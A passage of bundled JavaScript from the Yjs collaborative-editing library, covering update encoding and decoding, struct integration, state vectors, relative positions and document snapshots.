3119 writeVarUint8Array(encoder, toUint8Array(this.parentInfoEncoder));
3120 writeVarUint8Array(encoder, this.typeRefEncoder.toUint8Array());
3121 writeVarUint8Array(encoder, this.lenEncoder.toUint8Array());
3122 writeUint8Array(encoder, toUint8Array(this.restEncoder));
3123 return toUint8Array(encoder);
3124 }
3125 /**
3126 * @param {ID} id
3127 */
3128 writeLeftID(id2) {
3129 this.clientEncoder.write(id2.client);
3130 this.leftClockEncoder.write(id2.clock);
3131 }
3132 /**
3133 * @param {ID} id
3134 */
3135 writeRightID(id2) {
3136 this.clientEncoder.write(id2.client);
3137 this.rightClockEncoder.write(id2.clock);
3138 }
3139 /**
3140 * @param {number} client
3141 */
3142 writeClient(client) {
3143 this.clientEncoder.write(client);
3144 }
3145 /**
3146 * @param {number} info An unsigned 8-bit integer
3147 */
3148 writeInfo(info) {
3149 this.infoEncoder.write(info);
3150 }
3151 /**
3152 * @param {string} s
3153 */
3154 writeString(s) {
3155 this.stringEncoder.write(s);
3156 }
3157 /**
3158 * @param {boolean} isYKey
3159 */
3160 writeParentInfo(isYKey) {
3161 this.parentInfoEncoder.write(isYKey ? 1 : 0);
3162 }
3163 /**
3164 * @param {number} info An unsigned 8-bit integer
3165 */
3166 writeTypeRef(info) {
3167 this.typeRefEncoder.write(info);
3168 }
3169 /**
3170 * Write len of a struct - well suited for Opt RLE encoder.
3171 *
3172 * @param {number} len
3173 */
3174 writeLen(len) {
3175 this.lenEncoder.write(len);
3176 }
3177 /**
3178 * @param {any} any
3179 */
3180 writeAny(any2) {
3181 writeAny(this.restEncoder, any2);
3182 }
3183 /**
3184 * @param {Uint8Array} buf
3185 */
3186 writeBuf(buf) {
3187 writeVarUint8Array(this.restEncoder, buf);
3188 }
3189 /**
3190 * This is mainly here for legacy purposes.
3191 *
3192 * Initial we incoded objects using JSON. Now we use the much faster lib0/any-encoder. This method mainly exists for legacy purposes for the v1 encoder.
3193 *
3194 * @param {any} embed
3195 */
3196 writeJSON(embed) {
3197 writeAny(this.restEncoder, embed);
3198 }
3199 /**
3200 * Property keys are often reused. For example, in y-prosemirror the key `bold` might
3201 * occur very often. For a 3d application, the key `position` might occur very often.
3202 *
3203 * We cache these keys in a Map and refer to them via a unique number.
3204 *
3205 * @param {string} key
3206 */
3207 writeKey(key) {
3208 const clock = this.keyMap.get(key);
3209 if (clock === void 0) {
3210 this.keyClockEncoder.write(this.keyClock++);
3211 this.stringEncoder.write(key);
3212 } else {
3213 this.keyClockEncoder.write(clock);
3214 }
3215 }
3216 };
3217 var writeStructs = (encoder, structs, client, clock) => {
3218 clock = max(clock, structs[0].id.clock);
3219 const startNewStructs = findIndexSS(structs, clock);
3220 writeVarUint(encoder.restEncoder, structs.length - startNewStructs);
3221 encoder.writeClient(client);
3222 writeVarUint(encoder.restEncoder, clock);
3223 const firstStruct = structs[startNewStructs];
3224 firstStruct.write(encoder, clock - firstStruct.id.clock);
3225 for (let i = startNewStructs + 1; i < structs.length; i++) {
3226 structs[i].write(encoder, 0);
3227 }
3228 };
3229 var writeClientsStructs = (encoder, store2, _sm) => {
3230 const sm = /* @__PURE__ */ new Map();
3231 _sm.forEach((clock, client) => {
3232 if (getState(store2, client) > clock) {
3233 sm.set(client, clock);
3234 }
3235 });
3236 getStateVector(store2).forEach((_clock, client) => {
3237 if (!_sm.has(client)) {
3238 sm.set(client, 0);
3239 }
3240 });
3241 writeVarUint(encoder.restEncoder, sm.size);
3242 from(sm.entries()).sort((a, b) => b[0] - a[0]).forEach(([client, clock]) => {
3243 writeStructs(
3244 encoder,
3245 /** @type {Array<GC|Item>} */
3246 store2.clients.get(client),
3247 client,
3248 clock
3249 );
3250 });
3251 };
3252 var readClientsStructRefs = (decoder, doc2) => {
3253 const clientRefs = create();
3254 const numOfStateUpdates = readVarUint(decoder.restDecoder);
3255 for (let i = 0; i < numOfStateUpdates; i++) {
3256 const numberOfStructs = readVarUint(decoder.restDecoder);
3257 const refs = new Array(numberOfStructs);
3258 const client = decoder.readClient();
3259 let clock = readVarUint(decoder.restDecoder);
3260 clientRefs.set(client, { i: 0, refs });
3261 for (let i2 = 0; i2 < numberOfStructs; i2++) {
3262 const info = decoder.readInfo();
3263 switch (BITS5 & info) {
3264 case 0: {
3265 const len = decoder.readLen();
3266 refs[i2] = new GC(createID(client, clock), len);
3267 clock += len;
3268 break;
3269 }
3270 case 10: {
3271 const len = readVarUint(decoder.restDecoder);
3272 refs[i2] = new Skip(createID(client, clock), len);
3273 clock += len;
3274 break;
3275 }
3276 default: {
3277 const cantCopyParentInfo = (info & (BIT7 | BIT8)) === 0;
3278 const struct = new Item(
3279 createID(client, clock),
3280 null,
3281 // left
3282 (info & BIT8) === BIT8 ? decoder.readLeftID() : null,
3283 // origin
3284 null,
3285 // right
3286 (info & BIT7) === BIT7 ? decoder.readRightID() : null,
3287 // right origin
3288 cantCopyParentInfo ? decoder.readParentInfo() ? doc2.get(decoder.readString()) : decoder.readLeftID() : null,
3289 // parent
3290 cantCopyParentInfo && (info & BIT6) === BIT6 ? decoder.readString() : null,
3291 // parentSub
3292 readItemContent(decoder, info)
3293 // item content
3294 );
3295 refs[i2] = struct;
3296 clock += struct.length;
3297 }
3298 }
3299 }
3300 }
3301 return clientRefs;
3302 };
3303 var integrateStructs = (transaction, store2, clientsStructRefs) => {
3304 const stack = [];
3305 let clientsStructRefsIds = from(clientsStructRefs.keys()).sort((a, b) => a - b);
3306 if (clientsStructRefsIds.length === 0) {
3307 return null;
3308 }
3309 const getNextStructTarget = () => {
3310 if (clientsStructRefsIds.length === 0) {
3311 return null;
3312 }
3313 let nextStructsTarget = (
3314 /** @type {{i:number,refs:Array<GC|Item>}} */
3315 clientsStructRefs.get(clientsStructRefsIds[clientsStructRefsIds.length - 1])
3316 );
3317 while (nextStructsTarget.refs.length === nextStructsTarget.i) {
3318 clientsStructRefsIds.pop();
3319 if (clientsStructRefsIds.length > 0) {
3320 nextStructsTarget = /** @type {{i:number,refs:Array<GC|Item>}} */
3321 clientsStructRefs.get(clientsStructRefsIds[clientsStructRefsIds.length - 1]);
3322 } else {
3323 return null;
3324 }
3325 }
3326 return nextStructsTarget;
3327 };
3328 let curStructsTarget = getNextStructTarget();
3329 if (curStructsTarget === null) {
3330 return null;
3331 }
3332 const restStructs = new StructStore();
3333 const missingSV = /* @__PURE__ */ new Map();
3334 const updateMissingSv = (client, clock) => {
3335 const mclock = missingSV.get(client);
3336 if (mclock == null || mclock > clock) {
3337 missingSV.set(client, clock);
3338 }
3339 };
3340 let stackHead = (
3341 /** @type {any} */
3342 curStructsTarget.refs[
3343 /** @type {any} */
3344 curStructsTarget.i++
3345 ]
3346 );
3347 const state = /* @__PURE__ */ new Map();
3348 const addStackToRestSS = () => {
3349 for (const item of stack) {
3350 const client = item.id.client;
3351 const inapplicableItems = clientsStructRefs.get(client);
3352 if (inapplicableItems) {
3353 inapplicableItems.i--;
3354 restStructs.clients.set(client, inapplicableItems.refs.slice(inapplicableItems.i));
3355 clientsStructRefs.delete(client);
3356 inapplicableItems.i = 0;
3357 inapplicableItems.refs = [];
3358 } else {
3359 restStructs.clients.set(client, [item]);
3360 }
3361 clientsStructRefsIds = clientsStructRefsIds.filter((c) => c !== client);
3362 }
3363 stack.length = 0;
3364 };
3365 while (true) {
3366 if (stackHead.constructor !== Skip) {
3367 const localClock = setIfUndefined(state, stackHead.id.client, () => getState(store2, stackHead.id.client));
3368 const offset = localClock - stackHead.id.clock;
3369 if (offset < 0) {
3370 stack.push(stackHead);
3371 updateMissingSv(stackHead.id.client, stackHead.id.clock - 1);
3372 addStackToRestSS();
3373 } else {
3374 const missing = stackHead.getMissing(transaction, store2);
3375 if (missing !== null) {
3376 stack.push(stackHead);
3377 const structRefs = clientsStructRefs.get(
3378 /** @type {number} */
3379 missing
3380 ) || { refs: [], i: 0 };
3381 if (structRefs.refs.length === structRefs.i) {
3382 updateMissingSv(
3383 /** @type {number} */
3384 missing,
3385 getState(store2, missing)
3386 );
3387 addStackToRestSS();
3388 } else {
3389 stackHead = structRefs.refs[structRefs.i++];
3390 continue;
3391 }
3392 } else if (offset === 0 || offset < stackHead.length) {
3393 stackHead.integrate(transaction, offset);
3394 state.set(stackHead.id.client, stackHead.id.clock + stackHead.length);
3395 }
3396 }
3397 }
3398 if (stack.length > 0) {
3399 stackHead = /** @type {GC|Item} */
3400 stack.pop();
3401 } else if (curStructsTarget !== null && curStructsTarget.i < curStructsTarget.refs.length) {
3402 stackHead = /** @type {GC|Item} */
3403 curStructsTarget.refs[curStructsTarget.i++];
3404 } else {
3405 curStructsTarget = getNextStructTarget();
3406 if (curStructsTarget === null) {
3407 break;
3408 } else {
3409 stackHead = /** @type {GC|Item} */
3410 curStructsTarget.refs[curStructsTarget.i++];
3411 }
3412 }
3413 }
3414 if (restStructs.clients.size > 0) {
3415 const encoder = new UpdateEncoderV2();
3416 writeClientsStructs(encoder, restStructs, /* @__PURE__ */ new Map());
3417 writeVarUint(encoder.restEncoder, 0);
3418 return { missing: missingSV, update: encoder.toUint8Array() };
3419 }
3420 return null;
3421 };
3422 var writeStructsFromTransaction = (encoder, transaction) => writeClientsStructs(encoder, transaction.doc.store, transaction.beforeState);
3423 var readUpdateV2 = (decoder, ydoc, transactionOrigin, structDecoder = new UpdateDecoderV2(decoder)) => transact(ydoc, (transaction) => {
3424 transaction.local = false;
3425 let retry = false;
3426 const doc2 = transaction.doc;
3427 const store2 = doc2.store;
3428 const ss = readClientsStructRefs(structDecoder, doc2);
3429 const restStructs = integrateStructs(transaction, store2, ss);
3430 const pending = store2.pendingStructs;
3431 if (pending) {
3432 for (const [client, clock] of pending.missing) {
3433 if (clock < getState(store2, client)) {
3434 retry = true;
3435 break;
3436 }
3437 }
3438 if (restStructs) {
3439 for (const [client, clock] of restStructs.missing) {
3440 const mclock = pending.missing.get(client);
3441 if (mclock == null || mclock > clock) {
3442 pending.missing.set(client, clock);
3443 }
3444 }
3445 pending.update = mergeUpdatesV2([pending.update, restStructs.update]);
3446 }
3447 } else {
3448 store2.pendingStructs = restStructs;
3449 }
3450 const dsRest = readAndApplyDeleteSet(structDecoder, transaction, store2);
3451 if (store2.pendingDs) {
3452 const pendingDSUpdate = new UpdateDecoderV2(createDecoder(store2.pendingDs));
3453 readVarUint(pendingDSUpdate.restDecoder);
3454 const dsRest2 = readAndApplyDeleteSet(pendingDSUpdate, transaction, store2);
3455 if (dsRest && dsRest2) {
3456 store2.pendingDs = mergeUpdatesV2([dsRest, dsRest2]);
3457 } else {
3458 store2.pendingDs = dsRest || dsRest2;
3459 }
3460 } else {
3461 store2.pendingDs = dsRest;
3462 }
3463 if (retry) {
3464 const update = (
3465 /** @type {{update: Uint8Array}} */
3466 store2.pendingStructs.update
3467 );
3468 store2.pendingStructs = null;
3469 applyUpdateV2(transaction.doc, update);
3470 }
3471 }, transactionOrigin, false);
3472 var readUpdate = (decoder, ydoc, transactionOrigin) => readUpdateV2(decoder, ydoc, transactionOrigin, new UpdateDecoderV1(decoder));
3473 var applyUpdateV2 = (ydoc, update, transactionOrigin, YDecoder = UpdateDecoderV2) => {
3474 const decoder = createDecoder(update);
3475 readUpdateV2(decoder, ydoc, transactionOrigin, new YDecoder(decoder));
3476 };
3477 var applyUpdate = (ydoc, update, transactionOrigin) => applyUpdateV2(ydoc, update, transactionOrigin, UpdateDecoderV1);
3478 var writeStateAsUpdate = (encoder, doc2, targetStateVector = /* @__PURE__ */ new Map()) => {
3479 writeClientsStructs(encoder, doc2.store, targetStateVector);
3480 writeDeleteSet(encoder, createDeleteSetFromStructStore(doc2.store));
3481 };
3482 var encodeStateAsUpdateV2 = (doc2, encodedTargetStateVector = new Uint8Array([0]), encoder = new UpdateEncoderV2()) => {
3483 const targetStateVector = decodeStateVector(encodedTargetStateVector);
3484 writeStateAsUpdate(encoder, doc2, targetStateVector);
3485 const updates = [encoder.toUint8Array()];
3486 if (doc2.store.pendingDs) {
3487 updates.push(doc2.store.pendingDs);
3488 }
3489 if (doc2.store.pendingStructs) {
3490 updates.push(diffUpdateV2(doc2.store.pendingStructs.update, encodedTargetStateVector));
3491 }
3492 if (updates.length > 1) {
3493 if (encoder.constructor === UpdateEncoderV1) {
3494 return mergeUpdates(updates.map((update, i) => i === 0 ? update : convertUpdateFormatV2ToV1(update)));
3495 } else if (encoder.constructor === UpdateEncoderV2) {
3496 return mergeUpdatesV2(updates);
3497 }
3498 }
3499 return updates[0];
3500 };
3501 var encodeStateAsUpdate = (doc2, encodedTargetStateVector) => encodeStateAsUpdateV2(doc2, encodedTargetStateVector, new UpdateEncoderV1());
3502 var readStateVector = (decoder) => {
3503 const ss = /* @__PURE__ */ new Map();
3504 const ssLength = readVarUint(decoder.restDecoder);
3505 for (let i = 0; i < ssLength; i++) {
3506 const client = readVarUint(decoder.restDecoder);
3507 const clock = readVarUint(decoder.restDecoder);
3508 ss.set(client, clock);
3509 }
3510 return ss;
3511 };
3512 var decodeStateVector = (decodedState) => readStateVector(new DSDecoderV1(createDecoder(decodedState)));
3513 var writeStateVector = (encoder, sv) => {
3514 writeVarUint(encoder.restEncoder, sv.size);
3515 from(sv.entries()).sort((a, b) => b[0] - a[0]).forEach(([client, clock]) => {
3516 writeVarUint(encoder.restEncoder, client);
3517 writeVarUint(encoder.restEncoder, clock);
3518 });
3519 return encoder;
3520 };
3521 var writeDocumentStateVector = (encoder, doc2) => writeStateVector(encoder, getStateVector(doc2.store));
3522 var encodeStateVectorV2 = (doc2, encoder = new DSEncoderV2()) => {
3523 if (doc2 instanceof Map) {
3524 writeStateVector(encoder, doc2);
3525 } else {
3526 writeDocumentStateVector(encoder, doc2);
3527 }
3528 return encoder.toUint8Array();
3529 };
3530 var encodeStateVector = (doc2) => encodeStateVectorV2(doc2, new DSEncoderV1());
3531 var EventHandler = class {
3532 constructor() {
3533 this.l = [];
3534 }
3535 };
3536 var createEventHandler = () => new EventHandler();
3537 var addEventHandlerListener = (eventHandler, f) => eventHandler.l.push(f);
3538 var removeEventHandlerListener = (eventHandler, f) => {
3539 const l = eventHandler.l;
3540 const len = l.length;
3541 eventHandler.l = l.filter((g) => f !== g);
3542 if (len === eventHandler.l.length) {
3543 console.error("[yjs] Tried to remove event handler that doesn't exist.");
3544 }
3545 };
3546 var callEventHandlerListeners = (eventHandler, arg0, arg1) => callAll(eventHandler.l, [arg0, arg1]);
3547 var ID = class {
3548 /**
3549 * @param {number} client client id
3550 * @param {number} clock unique per client id, continuous number
3551 */
3552 constructor(client, clock) {
3553 this.client = client;
3554 this.clock = clock;
3555 }
3556 };
3557 var compareIDs = (a, b) => a === b || a !== null && b !== null && a.client === b.client && a.clock === b.clock;
3558 var createID = (client, clock) => new ID(client, clock);
3559 var writeID = (encoder, id2) => {
3560 writeVarUint(encoder, id2.client);
3561 writeVarUint(encoder, id2.clock);
3562 };
3563 var readID = (decoder) => createID(readVarUint(decoder), readVarUint(decoder));
3564 var findRootTypeKey = (type) => {
3565 for (const [key, value] of type.doc.share.entries()) {
3566 if (value === type) {
3567 return key;
3568 }
3569 }
3570 throw unexpectedCase();
3571 };
3572 var isParentOf = (parent, child) => {
3573 while (child !== null) {
3574 if (child.parent === parent) {
3575 return true;
3576 }
3577 child = /** @type {AbstractType<any>} */
3578 child.parent._item;
3579 }
3580 return false;
3581 };
3582 var logType = (type) => {
3583 const res = [];
3584 let n = type._start;
3585 while (n) {
3586 res.push(n);
3587 n = n.right;
3588 }
3589 console.log("Children: ", res);
3590 console.log("Children content: ", res.filter((m) => !m.deleted).map((m) => m.content));
3591 };
3592 var PermanentUserData = class {
3593 /**
3594 * @param {Doc} doc
3595 * @param {YMap<any>} [storeType]
3596 */
3597 constructor(doc2, storeType = doc2.getMap("users")) {
3598 const dss = /* @__PURE__ */ new Map();
3599 this.yusers = storeType;
3600 this.doc = doc2;
3601 this.clients = /* @__PURE__ */ new Map();
3602 this.dss = dss;
3603 const initUser = (user, userDescription) => {
3604 const ds = user.get("ds");
3605 const ids = user.get("ids");
3606 const addClientId = (
3607 /** @param {number} clientid */
3608 (clientid) => this.clients.set(clientid, userDescription)
3609 );
3610 ds.observe(
3611 /** @param {YArrayEvent<any>} event */
3612 (event) => {
3613 event.changes.added.forEach((item) => {
3614 item.content.getContent().forEach((encodedDs) => {
3615 if (encodedDs instanceof Uint8Array) {
3616 this.dss.set(userDescription, mergeDeleteSets([this.dss.get(userDescription) || createDeleteSet(), readDeleteSet(new DSDecoderV1(createDecoder(encodedDs)))]));
3617 }
3618 });
3619 });
3620 }
3621 );
3622 this.dss.set(userDescription, mergeDeleteSets(ds.map((encodedDs) => readDeleteSet(new DSDecoderV1(createDecoder(encodedDs))))));
3623 ids.observe(
3624 /** @param {YArrayEvent<any>} event */
3625 (event) => event.changes.added.forEach((item) => item.content.getContent().forEach(addClientId))
3626 );
3627 ids.forEach(addClientId);
3628 };
3629 storeType.observe((event) => {
3630 event.keysChanged.forEach(
3631 (userDescription) => initUser(storeType.get(userDescription), userDescription)
3632 );
3633 });
3634 storeType.forEach(initUser);
3635 }
3636 /**
3637 * @param {Doc} doc
3638 * @param {number} clientid
3639 * @param {string} userDescription
3640 * @param {Object} conf
3641 * @param {function(Transaction, DeleteSet):boolean} [conf.filter]
3642 */
3643 setUserMapping(doc2, clientid, userDescription, { filter = () => true } = {}) {
3644 const users2 = this.yusers;
3645 let user = users2.get(userDescription);
3646 if (!user) {
3647 user = new YMap();
3648 user.set("ids", new YArray());
3649 user.set("ds", new YArray());
3650 users2.set(userDescription, user);
3651 }
3652 user.get("ids").push([clientid]);
3653 users2.observe((_event) => {
3654 setTimeout(() => {
3655 const userOverwrite = users2.get(userDescription);
3656 if (userOverwrite !== user) {
3657 user = userOverwrite;
3658 this.clients.forEach((_userDescription, clientid2) => {
3659 if (userDescription === _userDescription) {
3660 user.get("ids").push([clientid2]);
3661 }
3662 });
3663 const encoder = new DSEncoderV1();
3664 const ds = this.dss.get(userDescription);
3665 if (ds) {
3666 writeDeleteSet(encoder, ds);
3667 user.get("ds").push([encoder.toUint8Array()]);
3668 }
3669 }
3670 }, 0);
3671 });
3672 doc2.on(
3673 "afterTransaction",
3674 /** @param {Transaction} transaction */
3675 (transaction) => {
3676 setTimeout(() => {
3677 const yds = user.get("ds");
3678 const ds = transaction.deleteSet;
3679 if (transaction.local && ds.clients.size > 0 && filter(transaction, ds)) {
3680 const encoder = new DSEncoderV1();
3681 writeDeleteSet(encoder, ds);
3682 yds.push([encoder.toUint8Array()]);
3683 }
3684 });
3685 }
3686 );
3687 }
3688 /**
3689 * @param {number} clientid
3690 * @return {any}
3691 */
3692 getUserByClientId(clientid) {
3693 return this.clients.get(clientid) || null;
3694 }
3695 /**
3696 * @param {ID} id
3697 * @return {string | null}
3698 */
3699 getUserByDeletedId(id2) {
3700 for (const [userDescription, ds] of this.dss.entries()) {
3701 if (isDeleted(ds, id2)) {
3702 return userDescription;
3703 }
3704 }
3705 return null;
3706 }
3707 };
3708 var RelativePosition = class {
3709 /**
3710 * @param {ID|null} type
3711 * @param {string|null} tname
3712 * @param {ID|null} item
3713 * @param {number} assoc
3714 */
3715 constructor(type, tname, item, assoc = 0) {
3716 this.type = type;
3717 this.tname = tname;
3718 this.item = item;
3719 this.assoc = assoc;
3720 }
3721 };
3722 var relativePositionToJSON = (rpos) => {
3723 const json = {};
3724 if (rpos.type) {
3725 json.type = rpos.type;
3726 }
3727 if (rpos.tname) {
3728 json.tname = rpos.tname;
3729 }
3730 if (rpos.item) {
3731 json.item = rpos.item;
3732 }
3733 if (rpos.assoc != null) {
3734 json.assoc = rpos.assoc;
3735 }
3736 return json;
3737 };
3738 var createRelativePositionFromJSON = (json) => new RelativePosition(json.type == null ? null : createID(json.type.client, json.type.clock), json.tname ?? null, json.item == null ? null : createID(json.item.client, json.item.clock), json.assoc == null ? 0 : json.assoc);
3739 var AbsolutePosition = class {
3740 /**
3741 * @param {AbstractType<any>} type
3742 * @param {number} index
3743 * @param {number} [assoc]
3744 */
3745 constructor(type, index, assoc = 0) {
3746 this.type = type;
3747 this.index = index;
3748 this.assoc = assoc;
3749 }
3750 };
3751 var createAbsolutePosition = (type, index, assoc = 0) => new AbsolutePosition(type, index, assoc);
3752 var createRelativePosition = (type, item, assoc) => {
3753 let typeid = null;
3754 let tname = null;
3755 if (type._item === null) {
3756 tname = findRootTypeKey(type);
3757 } else {
3758 typeid = createID(type._item.id.client, type._item.id.clock);
3759 }
3760 return new RelativePosition(typeid, tname, item, assoc);
3761 };
3762 var createRelativePositionFromTypeIndex = (type, index, assoc = 0) => {
3763 let t = type._start;
3764 if (assoc < 0) {
3765 if (index === 0) {
3766 return createRelativePosition(type, null, assoc);
3767 }
3768 index--;
3769 }
3770 while (t !== null) {
3771 if (!t.deleted && t.countable) {
3772 if (t.length > index) {
3773 return createRelativePosition(type, createID(t.id.client, t.id.clock + index), assoc);
3774 }
3775 index -= t.length;
3776 }
3777 if (t.right === null && assoc < 0) {
3778 return createRelativePosition(type, t.lastId, assoc);
3779 }
3780 t = t.right;
3781 }
3782 return createRelativePosition(type, null, assoc);
3783 };
3784 var writeRelativePosition = (encoder, rpos) => {
3785 const { type, tname, item, assoc } = rpos;
3786 if (item !== null) {
3787 writeVarUint(encoder, 0);
3788 writeID(encoder, item);
3789 } else if (tname !== null) {
3790 writeUint8(encoder, 1);
3791 writeVarString(encoder, tname);
3792 } else if (type !== null) {
3793 writeUint8(encoder, 2);
3794 writeID(encoder, type);
3795 } else {
3796 throw unexpectedCase();
3797 }
3798 writeVarInt(encoder, assoc);
3799 return encoder;
3800 };
3801 var encodeRelativePosition = (rpos) => {
3802 const encoder = createEncoder();
3803 writeRelativePosition(encoder, rpos);
3804 return toUint8Array(encoder);
3805 };
3806 var readRelativePosition = (decoder) => {
3807 let type = null;
3808 let tname = null;
3809 let itemID = null;
3810 switch (readVarUint(decoder)) {
3811 case 0:
3812 itemID = readID(decoder);
3813 break;
3814 case 1:
3815 tname = readVarString(decoder);
3816 break;
3817 case 2: {
3818 type = readID(decoder);
3819 }
3820 }
3821 const assoc = hasContent(decoder) ? readVarInt(decoder) : 0;
3822 return new RelativePosition(type, tname, itemID, assoc);
3823 };
3824 var decodeRelativePosition = (uint8Array) => readRelativePosition(createDecoder(uint8Array));
3825 var getItemWithOffset = (store2, id2) => {
3826 const item = getItem(store2, id2);
3827 const diff = id2.clock - item.id.clock;
3828 return {
3829 item,
3830 diff
3831 };
3832 };
3833 var createAbsolutePositionFromRelativePosition = (rpos, doc2, followUndoneDeletions = true) => {
3834 const store2 = doc2.store;
3835 const rightID = rpos.item;
3836 const typeID = rpos.type;
3837 const tname = rpos.tname;
3838 const assoc = rpos.assoc;
3839 let type = null;
3840 let index = 0;
3841 if (rightID !== null) {
3842 if (getState(store2, rightID.client) <= rightID.clock) {
3843 return null;
3844 }
3845 const res = followUndoneDeletions ? followRedone(store2, rightID) : getItemWithOffset(store2, rightID);
3846 const right = res.item;
3847 if (!(right instanceof Item)) {
3848 return null;
3849 }
3850 type = /** @type {AbstractType<any>} */
3851 right.parent;
3852 if (type._item === null || !type._item.deleted) {
3853 index = right.deleted || !right.countable ? 0 : res.diff + (assoc >= 0 ? 0 : 1);
3854 let n = right.left;
3855 while (n !== null) {
3856 if (!n.deleted && n.countable) {
3857 index += n.length;
3858 }
3859 n = n.left;
3860 }
3861 }
3862 } else {
3863 if (tname !== null) {
3864 type = doc2.get(tname);
3865 } else if (typeID !== null) {
3866 if (getState(store2, typeID.client) <= typeID.clock) {
3867 return null;
3868 }
3869 const { item } = followUndoneDeletions ? followRedone(store2, typeID) : { item: getItem(store2, typeID) };
3870 if (item instanceof Item && item.content instanceof ContentType) {
3871 type = item.content.type;
3872 } else {
3873 return null;
3874 }
3875 } else {
3876 throw unexpectedCase();
3877 }
3878 if (assoc >= 0) {
3879 index = type._length;
3880 } else {
3881 index = 0;
3882 }
3883 }
3884 return createAbsolutePosition(type, index, rpos.assoc);
3885 };
3886 var compareRelativePositions = (a, b) => a === b || a !== null && b !== null && a.tname === b.tname && compareIDs(a.item, b.item) && compareIDs(a.type, b.type) && a.assoc === b.assoc;
3887 var Snapshot = class {
3888 /**
3889 * @param {DeleteSet} ds
3890 * @param {Map<number,number>} sv state map
3891 */
3892 constructor(ds, sv) {
3893 this.ds = ds;
3894 this.sv = sv;
3895 }
3896 };
3897 var equalSnapshots = (snap1, snap2) => {
3898 const ds1 = snap1.ds.clients;
3899 const ds2 = snap2.ds.clients;
3900 const sv1 = snap1.sv;
3901 const sv2 = snap2.sv;
3902 if (sv1.size !== sv2.size || ds1.size !== ds2.size) {
3903 return false;
3904 }
3905 for (const [key, value] of sv1.entries()) {
3906 if (sv2.get(key) !== value) {
3907 return false;
3908 }
3909 }
3910 for (const [client, dsitems1] of ds1.entries()) {
3911 const dsitems2 = ds2.get(client) || [];
3912 if (dsitems1.length !== dsitems2.length) {
3913 return false;
3914 }
3915 for (let i = 0; i < dsitems1.length; i++) {
3916 const dsitem1 = dsitems1[i];
3917 const dsitem2 = dsitems2[i];
3918 if (dsitem1.clock !== dsitem2.clock || dsitem1.len !== dsitem2.len) {
3919 return false;
3920 }
3921 }
3922 }
3923 return true;
3924 };
3925 var encodeSnapshotV2 = (snapshot2, encoder = new DSEncoderV2()) => {
3926 writeDeleteSet(encoder, snapshot2.ds);
3927 writeStateVector(encoder, snapshot2.sv);
3928 return encoder.toUint8Array();
3929 };
3930 var encodeSnapshot = (snapshot2) => encodeSnapshotV2(snapshot2, new DSEncoderV1());
3931 var decodeSnapshotV2 = (buf, decoder = new DSDecoderV2(createDecoder(buf))) => {
3932 return new Snapshot(readDeleteSet(decoder), readStateVector(decoder));
3933 };
3934 var decodeSnapshot = (buf) => decodeSnapshotV2(buf, new DSDecoderV1(createDecoder(buf)));
3935 var createSnapshot = (ds, sm) => new Snapshot(ds, sm);
3936 var emptySnapshot = createSnapshot(createDeleteSet(), /* @__PURE__ */ new Map());
3937 var snapshot = (doc2) => createSnapshot(createDeleteSetFromStructStore(doc2.store), getStateVector(doc2.store));
3938 var isVisible = (item, snapshot2) => snapshot2 === void 0 ? !item.deleted : snapshot2.sv.has(item.id.client) && (snapshot2.sv.get(item.id.client) || 0) > item.id.clock && !isDeleted(snapshot2.ds, item.id);
3939 var splitSnapshotAffectedStructs = (transaction, snapshot2) => {
3940 const meta = setIfUndefined(transaction.meta, splitSnapshotAffectedStructs, create2);
3941 const store2 = transaction.doc.store;
3942 if (!meta.has(snapshot2)) {
3943 snapshot2.sv.forEach((clock, client) => {
3944 if (clock < getState(store2, client)) {
3945 getItemCleanStart(transaction, createID(client, clock));
3946 }
3947 });
3948 iterateDeletedStructs(transaction, snapshot2.ds, (_item) => {
3949 });
3950 meta.add(snapshot2);
3951 }
3952 };
3953 var createDocFromSnapshot = (originDoc, snapshot2, newDoc = new Doc()) => {
3954 if (originDoc.gc) {
3955 throw new Error("Garbage-collection must be disabled in `originDoc`!");
3956 }
3957 const { sv, ds } = snapshot2;
3958 const encoder = new UpdateEncoderV2();
3959 originDoc.transact((transaction) => {
3960 let size2 = 0;
3961 sv.forEach((clock) => {
3962 if (clock > 0) {
3963 size2++;
3964 }
3965 });
3966 writeVarUint(encoder.restEncoder, size2);
3967 for (const [client, clock] of sv) {
3968 if (clock === 0) {
3969 continue;
3970 }
3971 if (clock < getState(originDoc.store, client)) {
3972 getItemCleanStart(transaction, createID(client, clock));
3973 }
3974 const structs = originDoc.store.clients.get(client) || [];
3975 const lastStructIndex = findIndexSS(structs, clock - 1);
3976 writeVarUint(encoder.restEncoder, lastStructIndex + 1);
3977 encoder.writeClient(client);
3978 writeVarUint(encoder.restEncoder, 0);
3979 for (let i = 0; i <= lastStructIndex; i++) {
3980 structs[i].write(encoder, 0);
3981 }
3982 }
3983 writeDeleteSet(encoder, ds);
3984 });
3985 applyUpdateV2(newDoc, encoder.toUint8Array(), "snapshot");
3986 return newDoc;
3987 };
3988 var snapshotContainsUpdateV2 = (snapshot2, update, YDecoder = UpdateDecoderV2) => {
3989 const updateDecoder = new YDecoder(createDecoder(update));
3990 const lazyDecoder = new LazyStructReader(updateDecoder, false);
3991 for (let curr = lazyDecoder.curr; curr !== null; curr = lazyDecoder.next()) {
3992 if ((snapshot2.sv.get(curr.id.client) || 0) < curr.id.clock + curr.length) {
3993 return false;
3994 }
3995 }
3996 const mergedDS = mergeDeleteSets([snapshot2.ds, readDeleteSet(updateDecoder)]);
3997 return equalDeleteSets(snapshot2.ds, mergedDS);
3998 };
3999 var snapshotContainsUpdate = (snapshot2, update) => snapshotContainsUpdateV2(snapshot2, update, UpdateDecoderV1);
4000 var StructStore = class {
4001 constructor() {
4002 this.clients = /* @__PURE__ */ new Map();
4003 this.pendingStructs = null;
4004 this.pendingDs = null;
4005 }
4006 };
4007 var getStateVector = (store2) => {
4008 const sm = /* @__PURE__ */ new Map();
4009 store2.clients.forEach((structs, client) => {
4010 const struct = structs[structs.length - 1];
4011 sm.set(client, struct.id.clock + struct.length);
4012 });
4013 return sm;
4014 };
4015 var getState = (store2, client) => {
4016 const structs = store2.clients.get(client);
4017 if (structs === void 0) {
4018 return 0;
4019 }
4020 const lastStruct = structs[structs.length - 1];
4021 return lastStruct.id.clock + lastStruct.length;
4022 };
4023 var addStruct = (store2, struct) => {
4024 let structs = store2.clients.get(struct.id.client);
4025 if (structs === void 0) {
4026 structs = [];
4027 store2.clients.set(struct.id.client, structs);
4028 } else {
4029 const lastStruct = structs[structs.length - 1];
4030 if (lastStruct.id.clock + lastStruct.length !== struct.id.clock) {
4031 throw unexpectedCase();
4032 }
4033 }
4034 structs.push(struct);
4035 };
4036 var findIndexSS = (structs, clock) => {
4037 let left = 0;
